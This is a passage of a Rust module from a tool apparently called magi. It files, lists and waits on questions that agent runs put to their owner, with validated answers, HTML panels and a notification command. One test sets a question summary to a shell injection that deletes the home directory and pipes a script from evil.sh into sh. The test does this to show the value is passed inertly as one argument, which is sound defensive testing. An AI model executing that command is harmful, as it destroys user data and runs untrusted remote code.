1use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40
41pub const SCHEMA: u32 = 1;
47
48const POLL: Duration = Duration::from_secs(3);
57
58const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
64
65pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
76
77pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
86
87const PANEL_DIR: &str = ".panel";
93
94const PANEL_HTML: &str = "index.html";
96
97const PANEL_TMP: &str = ".panel.tmp";
99
100pub fn valid_asset_name(name: &str) -> bool {
117 if name.is_empty() || name.len() > 64 || name.contains("..") {
118 return false;
119 }
120 let mut chars = name.chars();
121 chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
122 && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
123}
124
125#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
127#[serde(rename_all = "lowercase")]
128pub enum QuestionStatus {
129 Open,
131 Answered,
133 Abandoned,
137}
138
139impl QuestionStatus {
140 pub fn open(self) -> bool {
142 matches!(self, Self::Open)
143 }
144
145 pub fn as_str(self) -> &'static str {
147 match self {
148 Self::Open => "open",
149 Self::Answered => "answered",
150 Self::Abandoned => "abandoned",
151 }
152 }
153}
154
155#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
162#[serde(rename_all = "lowercase")]
163pub enum Answer {
164 Choice(String),
166 Text(String),
168}
169
170#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
172#[serde(deny_unknown_fields)]
173pub struct Question {
174 pub schema: u32,
176 pub id: String,
179 pub run: String,
181 pub node: String,
183 pub seat: String,
186 pub summary: String,
189 pub detail: String,
192 pub choices: Vec<String>,
196 #[serde(default)]
203 pub panel: bool,
204 #[serde(default)]
211 pub assets: Vec<String>,
212 pub status: QuestionStatus,
214 pub asked_at: Timestamp,
216 pub answered_at: Option<Timestamp>,
218 pub answer: Option<Answer>,
220}
221
222impl Question {
223 pub fn new(
226 run: String,
227 node: String,
228 seat: String,
229 summary: String,
230 detail: String,
231 choices: Vec<String>,
232 ) -> Self {
233 Self {
234 schema: SCHEMA,
235 id: new_id(),
236 run,
237 node,
238 seat,
239 summary,
240 detail,
241 choices,
242 panel: false,
243 assets: Vec::new(),
244 status: QuestionStatus::Open,
245 asked_at: Timestamp::now(),
246 answered_at: None,
247 answer: None,
248 }
249 }
250
251 pub fn short(&self) -> &str {
253 short(&self.id)
254 }
255
256 pub fn free_text(&self) -> bool {
258 self.choices.is_empty()
259 }
260
261 pub fn answer(&mut self, answer: Answer) -> Result<()> {
271 match self.status {
272 QuestionStatus::Answered => bail!(
273 "question {} was already answered; the run has moved on and a \
274 second answer would be a decision nobody acted on",
275 self.short()
276 ),
277 QuestionStatus::Abandoned => bail!(
278 "question {} was abandoned and the run behind it is gone",
279 self.short()
280 ),
281 QuestionStatus::Open => {}
282 }
283 let body = match &answer {
284 Answer::Choice(c) | Answer::Text(c) => c.as_str(),
285 };
286 if body.trim().is_empty() {
287 bail!(
288 "question {} needs an answer; an empty one tells the agent \
289 nothing and it would guess anyway",
290 self.short()
291 );
292 }
293 match &answer {
294 Answer::Choice(c) if self.free_text() => bail!(
295 "question {} asks for free text, so `{c}` cannot be a choice \
296 it offered",
297 self.short()
298 ),
299 Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
300 "`{c}` is not one of the choices question {} offers: {}",
301 self.short(),
302 self.choices.join(", ")
303 ),
304 Answer::Text(_) if !self.free_text() => bail!(
305 "question {} is multiple choice; answer with one of: {}",
306 self.short(),
307 self.choices.join(", ")
308 ),
309 _ => {}
310 }
311 self.answered_at = Some(Timestamp::now());
312 self.answer = Some(answer);
313 self.status = QuestionStatus::Answered;
314 Ok(())
315 }
316
317 pub fn abandon(&mut self, why: impl Into<String>) {
329 if !self.status.open() {
330 return;
331 }
332 self.status = QuestionStatus::Abandoned;
333 let why = why.into();
334 let why = why.trim();
335 if why.is_empty() {
336 return;
337 }
338 if !self.detail.is_empty() {
339 self.detail.push('\n');
340 }
341 self.detail.push_str("\n_Abandoned: ");
342 self.detail.push_str(why);
343 self.detail.push_str("._\n");
344 }
345
346 pub fn resolution(&self) -> Option<String> {
353 match (self.status, &self.answer) {
354 (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
355 Some(a.clone())
356 }
357 _ => None,
358 }
359 }
360}
361
362#[derive(Debug, Clone)]
364pub struct Questions {
365 root: PathBuf,
366}
367
368impl Questions {
369 pub fn open() -> Self {
371 Self::at(crate::run::home().join("questions"))
372 }
373
374 pub fn at(root: PathBuf) -> Self {
377 Self { root }
378 }
379
380 pub fn root(&self) -> &Path {
382 &self.root
383 }
384
385 pub fn path_of(&self, id: &str) -> PathBuf {
387 self.root.join(format!("{id}.json"))
388 }
389
390 pub fn panel_dir(&self, id: &str) -> PathBuf {
392 self.root.join(format!("{id}{PANEL_DIR}"))
393 }
394
395 pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
419 if !valid_asset_name(&q.id) {
420 bail!(
421 "question id `{}` is not a name magi will build a panel path from",
422 q.id
423 );
424 }
425 if html.trim().is_empty() {
426 bail!(
427 "question {} was handed an empty panel; an empty frame reads to \
428 the owner as \"the agent had nothing to say\", which is a lie",
429 q.short()
430 );
431 }
432
433 let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
436 for src in assets {
437 let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
438 if !valid_asset_name(name) {
439 bail!(
440 "panel asset `{}` cannot be stored: a panel file name must \
441 match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
442 src.display()
443 );
444 }
445 if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
446 bail!(
447 "two panel assets are both named `{name}` - {} and {} - and \
448 the panel can only show one of them; rename one at the source",
449 first.display(),
450 src.display()
451 );
452 }
453 named.push((name.to_owned(), src.as_path()));
454 }
455
456 let mut total = html.len() as u64;
457 for (_, src) in &named {
458 let meta = std::fs::metadata(src)
459 .with_context(|| format!("stat panel asset {}", src.display()))?;
460 if !meta.is_file() {
461 bail!(
462 "panel asset `{}` is not a file; a panel is html plus files \
463 copied beside it",
464 src.display()
465 );
466 }
467 total = total.saturating_add(meta.len());
468 }
469 if total > PANEL_MAX_BYTES {
470 bail!(
471 "panel for question {} is {total} bytes, over magi's cap of \
472 {PANEL_MAX_BYTES} bytes; nothing was written",
473 q.short()
474 );
475 }
476
477 let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
478 let dir = self.panel_dir(&q.id);
479 std::fs::create_dir_all(&self.root)
480 .with_context(|| format!("create {}", self.root.display()))?;
481 clear_dir(&tmp)?;
482 std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
483 if let Err(e) = fill_panel(&tmp, html, &named) {
484 let _ = std::fs::remove_dir_all(&tmp);
487 return Err(e);
488 }
489 clear_dir(&dir)?;
490 std::fs::rename(&tmp, &dir)
491 .with_context(|| format!("move panel into {}", dir.display()))?;
492
493 q.panel = true;
494 q.assets = named.into_iter().map(|(n, _)| n).collect();
495 q.assets.sort_unstable();
496 Ok(())
497 }
498
499 pub fn panel_html(&self, id: &str) -> Option<String> {
505 if !valid_asset_name(id) {
506 return None;
507 }
508 std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
509 }
510
511 pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
522 if !valid_asset_name(name) {
523 bail!(
524 "`{name}` is not a panel file name; it must match \
525 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
526 );
527 }
528 if !valid_asset_name(id) {
529 return Ok(None);
530 }
531 let dir = self.panel_dir(id);
532 if !dir.is_dir() {
533 return Ok(None);
534 }
535 let path = dir.join(name);
536 match std::fs::read(&path) {
537 Ok(bytes) => Ok(Some(bytes)),
538 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
539 Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
540 }
541 }
542
543 pub fn drop_panel(&self, id: &str) -> Result<()> {
552 if !valid_asset_name(id) {
553 bail!("question id `{id}` is not a name magi will build a panel path from");
554 }
555 clear_dir(&self.panel_dir(id))?;
556 clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
557 }
558
559 pub fn put(&self, q: &mut Question) -> Result<()> {
563 std::fs::create_dir_all(&self.root)
564 .with_context(|| format!("create {}", self.root.display()))?;
565 let body = serde_json::to_string_pretty(q).context("serialize question")?;
566 let path = self.path_of(&q.id);
567 let tmp = path.with_extension("json.tmp");
568 std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
569 std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
570 Ok(())
571 }
572
573 pub fn get(&self, id: &str) -> Result<Question> {
575 let resolved = self.resolve_id(id)?;
576 read_path(&self.path_of(&resolved))
577 }
578
579 pub fn list(&self) -> Vec<Question> {
587 let mut all: Vec<Question> = std::fs::read_dir(&self.root)
588 .into_iter()
589 .flatten()
590 .flatten()
591 .map(|e| e.path())
592 .filter(|p| p.extension().is_some_and(|x| x == "json"))
593 .filter_map(|p| read_path(&p).ok())
594 .collect();
595 all.sort_unstable_by(|a, b| {
596 let rank = |q: &Question| u8::from(!q.status.open());
597 rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
598 });
599 all
600 }
601
602 pub fn open_for(&self, run: &str) -> Vec<Question> {
608 self.list()
609 .into_iter()
610 .filter(|q| q.status.open() && q.run == run)
611 .collect()
612 }
613
614 pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
627 let mut abandoned = 0;
628 for mut q in self.open_for(run) {
629 q.abandon(why);
630 self.put(&mut q)?;
631 abandoned += 1;
632 }
633 Ok(abandoned)
634 }
635
636 pub fn resolve_id(&self, prefix: &str) -> Result<String> {
639 if self.path_of(prefix).is_file() {
640 return Ok(prefix.to_owned());
641 }
642 let hits: Vec<String> = self
643 .list()
644 .into_iter()
645 .map(|q| q.id)
646 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix))
647 .collect();
648 match hits.len() {
649 1 => Ok(hits.into_iter().next().expect("exactly one hit")),
650 0 => bail!("no question matches `{prefix}`"),
651 _ => bail!(
652 "`{prefix}` matches {} questions: {}",
653 hits.len(),
654 hits.join(", ")
655 ),
656 }
657 }
658
659 pub fn revision(&self) -> u64 {
663 std::fs::read_dir(&self.root)
664 .into_iter()
665 .flatten()
666 .flatten()
667 .filter_map(|e| e.metadata().ok())
668 .filter_map(|m| m.modified().ok())
669 .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
670 .map(|d| d.as_millis() as u64)
671 .max()
672 .unwrap_or(0)
673 }
674
675 pub fn count_open(&self) -> usize {
678 self.list().iter().filter(|q| q.status.open()).count()
679 }
680}
681
682pub async fn ask_and_wait(
692 q: &mut Question,
693 store: &Questions,
694 notify: &config::Notify,
695 timeout: Duration,
696) -> Result<Option<String>> {
697 wait_for_owner(q, store, notify, timeout, POLL).await
698}
699
700async fn wait_for_owner(
706 q: &mut Question,
707 store: &Questions,
708 cfg: &config::Notify,
709 timeout: Duration,
710 poll: Duration,
711) -> Result<Option<String>> {
712 store.put(q).context("file the question")?;
713 if let Err(e) = notify(cfg, q).await {
714 tracing::warn!(
718 "could not notify about question {}: {e:#} - the web UI is the \
719 only surface for it now",
720 q.short()
721 );
722 }
723 tracing::info!(
724 "question {} from {} is waiting for you: {}",
725 q.short(),
726 q.seat,
727 q.summary
728 );
729
730 let deadline = tokio::time::Instant::now() + timeout;
731 loop {
732 let now = tokio::time::Instant::now();
733 if now >= deadline {
734 q.abandon(format!(
735 "no answer within {}s of asking",
736 timeout.as_secs().max(1)
737 ));
738 store.put(q).context("record the abandoned question")?;
739 tracing::warn!(
740 "question {} went unanswered for {}s; the run parks and the \
741 question stays as the record of it",
742 q.short(),
743 timeout.as_secs()
744 );
745 return Ok(None);
746 }
747 tokio::time::sleep(poll.min(deadline - now)).await;
748 match store.get(&q.id) {
749 Ok(fresh) if !fresh.status.open() => {
750 *q = fresh;
754 return Ok(q.resolution());
755 }
756 Ok(_) => {}
757 Err(e) => {
758 tracing::debug!("could not re-read question {}: {e:#}", q.short());
762 }
763 }
764 }
765}
766
767pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
778 let Some((program, args)) = cmd.command.split_first() else {
779 return Ok(());
781 };
782 let url = web_url();
783 if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
784 tracing::warn!(
785 "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
786 so the link will be empty - export it next to `magi serve` with \
787 the address `magi web --open` printed"
788 );
789 }
790 let argv: Vec<String> = args.iter().map(|a| expand(a, q, &url)).collect();
791 tracing::debug!(program = %program, args = ?argv, "notifying");
792
793 let mut child = tokio::process::Command::new(program);
794 child
795 .args(&argv)
796 .stdin(std::process::Stdio::null())
797 .kill_on_drop(true);
800 let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
801 Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
802 Err(_) => bail!(
803 "notification command `{program}` did not finish within {}s",
804 NOTIFY_TIMEOUT.as_secs()
805 ),
806 };
807 if !out.status.success() {
808 let stderr = String::from_utf8_lossy(&out.stderr);
809 let why = stderr
810 .lines()
811 .rev()
812 .find(|l| !l.trim().is_empty())
813 .unwrap_or("no output on stderr")
814 .trim();
815 bail!(
816 "notification command `{program}` exited with {}: {why}",
817 out.status
818 );
819 }
820 Ok(())
821}
822
823fn expand(template: &str, q: &Question, url: &str) -> String {
829 let table = [
830 ("{summary}", q.summary.as_str()),
831 ("{run}", q.run.as_str()),
832 ("{url}", url),
833 ];
834 let mut out = String::with_capacity(template.len());
835 let mut rest = template;
836 while let Some(at) = rest.find('{') {
837 out.push_str(&rest[..at]);
838 let tail = &rest[at..];
839 match table.iter().find(|(token, _)| tail.starts_with(token)) {
840 Some((token, value)) => {
841 out.push_str(value);
842 rest = &tail[token.len()..];
843 }
844 None => {
845 out.push('{');
847 rest = &tail[1..];
848 }
849 }
850 }
851 out.push_str(rest);
852 out
853}
854
855fn web_url() -> String {
857 question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default())
858}
859
860fn question_url(base: &str) -> String {
867 let base = base.trim().trim_end_matches('/');
868 if base.is_empty() || base.contains('#') {
869 return base.to_owned();
870 }
871 format!("{base}/#/questions")
872}
873
874fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
879 let index = dir.join(PANEL_HTML);
880 std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
881 for (name, src) in assets {
882 let dst = dir.join(name);
883 std::fs::copy(src, &dst)
884 .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
885 }
886 Ok(())
887}
888
889fn clear_dir(path: &Path) -> Result<()> {
894 match std::fs::remove_dir_all(path) {
895 Ok(()) => Ok(()),
896 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
897 Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
898 }
899}
900
901fn read_path(path: &Path) -> Result<Question> {
902 let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
903 let q: Question =
904 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
905 if q.schema != SCHEMA {
906 bail!(
907 "question {} was written by a different magi (schema {}, this \
908 build speaks {SCHEMA})",
909 q.id,
910 q.schema
911 );
912 }
913 Ok(q)
914}
915
916fn short(id: &str) -> &str {
917 id.split('-').next_back().unwrap_or(id)
918}
919
920fn new_id() -> String {
921 let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
922 let seed = crate::rng::entropy();
923 format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
924}
925
926#[cfg(test)]
927mod tests {
928 use super::*;
929
930 fn store() -> (tempfile::TempDir, Questions) {
933 let dir = tempfile::tempdir().unwrap();
934 let s = Questions::at(dir.path().join("questions"));
935 (dir, s)
936 }
937
938 #[test]
939 fn deleting_a_run_stops_its_questions_asking() {
940 let (_dir, store) = store();
941
942 let mut open_one = choice_question();
943 store.put(&mut open_one).unwrap();
944 let mut answered = free_question();
945 answered
946 .answer(Answer::Text("keep this".to_owned()))
947 .unwrap();
948 store.put(&mut answered).unwrap();
949 let mut elsewhere = choice_question();
950 elsewhere.run = "20260903-105039-3cbf".to_owned();
951 store.put(&mut elsewhere).unwrap();
952
953 let n = store
954 .abandon_for_run(&open_one.run, "run was deleted")
955 .unwrap();
956 assert_eq!(n, 1, "only the open question of that run");
957
958 let back = store.get(&open_one.id).unwrap();
959 assert!(!back.status.open(), "it no longer asks for a decision");
960 assert!(
961 back.detail.contains("run was deleted"),
962 "the operator can see why: {}",
963 back.detail
964 );
965
966 let kept = store.get(&answered.id).unwrap();
967 assert_eq!(
968 kept.status,
969 QuestionStatus::Answered,
970 "an answered question is a decision on record, not something to revoke"
971 );
972 assert!(
973 store.get(&elsewhere.id).unwrap().status.open(),
974 "another run's question is untouched"
975 );
976 assert!(store.open_for(&open_one.run).is_empty());
977 }
978
979 fn choice_question() -> Question {
980 Question::new(
981 "20260902-201256-9fb7".to_owned(),
982 "implement".to_owned(),
983 "impl-A".to_owned(),
984 "Which storage backend should the cache use?".to_owned(),
985 "Both are already dependencies.".to_owned(),
986 vec!["SQLite".to_owned(), "Redis".to_owned()],
987 )
988 }
989
990 fn free_question() -> Question {
991 Question::new(
992 "20260902-201256-9fb7".to_owned(),
993 "review".to_owned(),
994 "rev-1".to_owned(),
995 "What should the error message say?".to_owned(),
996 String::new(),
997 Vec::new(),
998 )
999 }
1000
1001 fn quiet() -> config::Notify {
1003 config::Notify::default()
1004 }
1005
1006 #[test]
1007 fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
1008 let mut q = choice_question();
1012 q.id = "20260902-231501-ab12".to_owned();
1013 let open: serde_json::Value = serde_json::to_value(&q).unwrap();
1014 let keys: Vec<&str> = open
1018 .as_object()
1019 .unwrap()
1020 .keys()
1021 .map(String::as_str)
1022 .collect();
1023 assert_eq!(
1024 keys,
1025 [
1026 "answer",
1027 "answered_at",
1028 "asked_at",
1029 "assets",
1030 "choices",
1031 "detail",
1032 "id",
1033 "node",
1034 "panel",
1035 "run",
1036 "schema",
1037 "seat",
1038 "status",
1039 "summary",
1040 ],
1041 "the on-disk field set is a contract with the front end"
1042 );
1043 assert_eq!(open["schema"], 1);
1044 assert_eq!(open["id"], "20260902-231501-ab12");
1045 assert_eq!(open["run"], "20260902-201256-9fb7");
1046 assert_eq!(open["node"], "implement");
1047 assert_eq!(open["seat"], "impl-A");
1048 assert_eq!(open["status"], "open");
1049 assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
1050 assert_eq!(open["answered_at"], serde_json::Value::Null);
1051 assert_eq!(open["answer"], serde_json::Value::Null);
1052 let asked = open["asked_at"].as_str().unwrap();
1053 assert!(
1054 asked.ends_with('Z') && asked.contains('T'),
1055 "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
1056 );
1057
1058 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
1060 let answered = serde_json::to_value(&q).unwrap();
1061 assert_eq!(answered["status"], "answered");
1062 assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
1063 assert!(answered["answered_at"].is_string());
1064
1065 let mut free = free_question();
1067 free.answer(Answer::Text("Say which file it was".to_owned()))
1068 .unwrap();
1069 assert_eq!(
1070 serde_json::to_value(&free).unwrap()["answer"],
1071 serde_json::json!({"text": "Say which file it was"})
1072 );
1073
1074 let body = serde_json::to_string(&q).unwrap();
1076 assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
1077 }
1078
1079 #[test]
1080 fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
1081 let mut unoffered = choice_question();
1084 let a = unoffered
1085 .answer(Answer::Choice("Postgres".to_owned()))
1086 .unwrap_err()
1087 .to_string();
1088
1089 let mut typed = choice_question();
1090 let b = typed
1091 .answer(Answer::Text("use Postgres".to_owned()))
1092 .unwrap_err()
1093 .to_string();
1094
1095 let mut blank = free_question();
1096 let c = blank
1097 .answer(Answer::Text(" \n".to_owned()))
1098 .unwrap_err()
1099 .to_string();
1100
1101 let mut twice = choice_question();
1102 twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
1103 let d = twice
1104 .answer(Answer::Choice("Redis".to_owned()))
1105 .unwrap_err()
1106 .to_string();
1107
1108 assert!(a.contains("not one of the choices"), "{a}");
1109 assert!(b.contains("multiple choice"), "{b}");
1110 assert!(c.contains("empty"), "{c}");
1111 assert!(d.contains("already answered"), "{d}");
1112 let mut distinct = vec![a, b, c, d];
1113 let asked = distinct.len();
1114 distinct.sort_unstable();
1115 distinct.dedup();
1116 assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
1117
1118 assert_eq!(unoffered.status, QuestionStatus::Open);
1120 assert_eq!(typed.status, QuestionStatus::Open);
1121 assert_eq!(blank.status, QuestionStatus::Open);
1122 assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
1124
1125 let mut free = free_question();
1127 let e = free
1128 .answer(Answer::Choice("SQLite".to_owned()))
1129 .unwrap_err()
1130 .to_string();
1131 assert!(e.contains("free text"), "{e}");
1132 }
1133
1134 #[test]
1135 fn open_questions_are_listed_before_answered_ones() {
1136 let (_dir, s) = store();
1137 let mut old_open = choice_question();
1140 old_open.id = "20260101-000001-aaaa".to_owned();
1141 let mut new_open = choice_question();
1142 new_open.id = "20260101-000002-bbbb".to_owned();
1143 let mut answered = choice_question();
1144 answered.id = "20260101-000003-cccc".to_owned();
1145 answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
1146 for q in [&mut old_open, &mut new_open, &mut answered] {
1147 s.put(q).unwrap();
1148 }
1149
1150 let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
1151 assert_eq!(
1152 ids,
1153 [
1154 "20260101-000002-bbbb",
1155 "20260101-000001-aaaa",
1156 "20260101-000003-cccc"
1157 ],
1158 "what has stopped work comes first; history sorts underneath"
1159 );
1160 assert_eq!(s.count_open(), 2);
1161 assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
1162 assert!(s.open_for("some-other-run").is_empty());
1163 assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
1165 assert!(s.get("20260101-000002-bbbb").is_ok());
1166 assert!(s.resolve_id("nope").is_err());
1167 assert!(
1168 s.revision() > 0,
1169 "the store's mtime drives the phone's polling"
1170 );
1171 }
1172
1173 #[test]
1174 fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
1175 let (_dir, s) = store();
1176 let mut good = choice_question();
1177 s.put(&mut good).unwrap();
1178 std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
1180 let future = serde_json::json!({
1181 "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
1182 "seat": "s", "summary": "?", "detail": "", "choices": [],
1183 "status": "open", "asked_at": "2026-01-01T00:00:00Z",
1184 "answered_at": null, "answer": null,
1185 });
1186 std::fs::write(
1187 s.path_of("20260101-000010-beef"),
1188 serde_json::to_string(&future).unwrap(),
1189 )
1190 .unwrap();
1191
1192 let listed = s.list();
1193 assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
1194 assert_eq!(listed[0].id, good.id);
1195 let e = s.get("20260101-000010-beef").unwrap_err().to_string();
1197 assert!(e.contains("schema"), "{e}");
1198 }
1199
1200 #[tokio::test]
1201 async fn the_wait_returns_the_answer_another_process_wrote() {
1202 let (dir, s) = store();
1207 let mut q = choice_question();
1208 let id = q.id.clone();
1209 let writer = Questions::at(dir.path().join("questions"));
1210 let handle = tokio::spawn(async move {
1211 tokio::time::sleep(Duration::from_millis(30)).await;
1212 let mut fresh = writer.get(&id).expect("the question was filed first");
1213 fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
1214 writer.put(&mut fresh).unwrap();
1215 });
1216
1217 let got = wait_for_owner(
1218 &mut q,
1219 &s,
1220 &quiet(),
1221 Duration::from_secs(5),
1222 Duration::from_millis(10),
1223 )
1224 .await
1225 .unwrap();
1226
1227 handle.await.unwrap();
1228 assert_eq!(got.as_deref(), Some("SQLite"));
1229 assert_eq!(
1230 q.status,
1231 QuestionStatus::Answered,
1232 "the caller's copy is refreshed from the answering process's record"
1233 );
1234 assert!(q.answered_at.is_some());
1235 }
1236
1237 #[tokio::test]
1238 async fn a_question_nobody_answers_is_abandoned_not_deleted() {
1239 let (_dir, s) = store();
1240 let mut q = choice_question();
1241
1242 let got = wait_for_owner(
1243 &mut q,
1244 &s,
1245 &quiet(),
1246 Duration::from_millis(60),
1247 Duration::from_millis(10),
1248 )
1249 .await
1250 .unwrap();
1251
1252 assert!(got.is_none(), "a slow human is not an error; the run parks");
1253 assert_eq!(q.status, QuestionStatus::Abandoned);
1254 let on_disk = s.get(&q.id).expect("the record of what was asked survives");
1255 assert_eq!(on_disk.status, QuestionStatus::Abandoned);
1256 assert!(
1257 on_disk.detail.contains("Abandoned:"),
1258 "why nobody answered belongs with the question: {}",
1259 on_disk.detail
1260 );
1261 assert!(on_disk.resolution().is_none());
1262 assert_eq!(s.count_open(), 0);
1263 }
1264
1265 #[tokio::test]
1266 async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
1267 let (dir, s) = store();
1271 let broken = config::Notify {
1272 command: vec![
1273 "magi-notifier-that-does-not-exist-9fb7".to_owned(),
1274 "{summary}".to_owned(),
1275 ],
1276 };
1277 let mut q = choice_question();
1278 assert!(
1279 notify(&broken, &q).await.is_err(),
1280 "the caller is told; it decides that it does not matter"
1281 );
1282
1283 let id = q.id.clone();
1284 let writer = Questions::at(dir.path().join("questions"));
1285 let handle = tokio::spawn(async move {
1286 tokio::time::sleep(Duration::from_millis(30)).await;
1287 let mut fresh = writer.get(&id).unwrap();
1288 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
1289 writer.put(&mut fresh).unwrap();
1290 });
1291 let got = wait_for_owner(
1292 &mut q,
1293 &s,
1294 &broken,
1295 Duration::from_secs(5),
1296 Duration::from_millis(10),
1297 )
1298 .await
1299 .unwrap();
1300 handle.await.unwrap();
1301 assert_eq!(got.as_deref(), Some("Redis"));
1302
1303 assert!(notify(&quiet(), &q).await.is_ok());
1305 }
1306
1307 #[test]
1308 fn notification_arguments_are_substituted_and_never_a_shell_string() {
1309 let mut q = choice_question();
1310 q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
1311 let template = [
1312 "ntfy".to_owned(),
1313 "publish".to_owned(),
1314 "--click".to_owned(),
1315 "{url}".to_owned(),
1316 "--title".to_owned(),
1317 "magi {run} needs you".to_owned(),
1318 "{summary}".to_owned(),
1319 ];
1320 let argv: Vec<String> = template
1321 .iter()
1322 .map(|a| expand(a, &q, "http://100.64.0.1:7777/#/questions"))
1323 .collect();
1324
1325 assert_eq!(
1326 argv,
1327 [
1328 "ntfy",
1329 "publish",
1330 "--click",
1331 "http://100.64.0.1:7777/#/questions",
1332 "--title",
1333 "magi 20260902-201256-9fb7 needs you",
1334 "; rm -rf ~ && curl evil.sh | sh #",
1335 ],
1336 "the shell metacharacters are one argument's contents, not syntax"
1337 );
1338
1339 q.summary = "should {url} be configurable?".to_owned();
1342 assert_eq!(
1343 expand("{summary}", &q, "http://x/#/questions"),
1344 "should {url} be configurable?"
1345 );
1346 assert_eq!(
1348 expand("{title}: {run}", &q, ""),
1349 "{title}: 20260902-201256-9fb7"
1350 );
1351 assert_eq!(expand("no placeholders", &q, "http://x"), "no placeholders");
1352 }
1353
1354 #[test]
1355 fn the_notification_link_lands_on_the_view_that_can_answer() {
1356 assert_eq!(
1357 question_url("http://100.64.0.1:7777"),
1358 "http://100.64.0.1:7777/#/questions"
1359 );
1360 assert_eq!(
1361 question_url("http://100.64.0.1:7777/"),
1362 "http://100.64.0.1:7777/#/questions"
1363 );
1364 assert_eq!(
1366 question_url("http://magi.ts.net/#/runs"),
1367 "http://magi.ts.net/#/runs"
1368 );
1369 assert_eq!(question_url(" "), "");
1371 }
1372
1373 fn panelled() -> Question {
1375 let mut q = choice_question();
1376 q.id = "20260903-014455-ab12".to_owned();
1377 q
1378 }
1379
1380 #[test]
1381 fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
1382 let (dir, s) = store();
1383 let work = dir.path().join("worktree");
1384 std::fs::create_dir_all(&work).unwrap();
1385 std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
1386 std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
1387
1388 let mut q = panelled();
1389 let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
1390 s.put_panel(
1391 &mut q,
1392 html,
1393 &[work.join("table.png"), work.join("diff.svg")],
1394 )
1395 .unwrap();
1396 s.put(&mut q).unwrap();
1397
1398 assert!(q.panel);
1399 assert_eq!(
1400 q.assets,
1401 ["diff.svg", "table.png"],
1402 "sorted, not in the order the agent happened to pass them"
1403 );
1404 assert_eq!(
1405 s.panel_html(&q.id).as_deref(),
1406 Some(html),
1407 "the html is stored byte for byte; the agent authored the markup"
1408 );
1409 assert_eq!(
1410 s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
1411 Some(&b"<svg/>"[..])
1412 );
1413
1414 let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
1416 let json: serde_json::Value = serde_json::from_str(&body).unwrap();
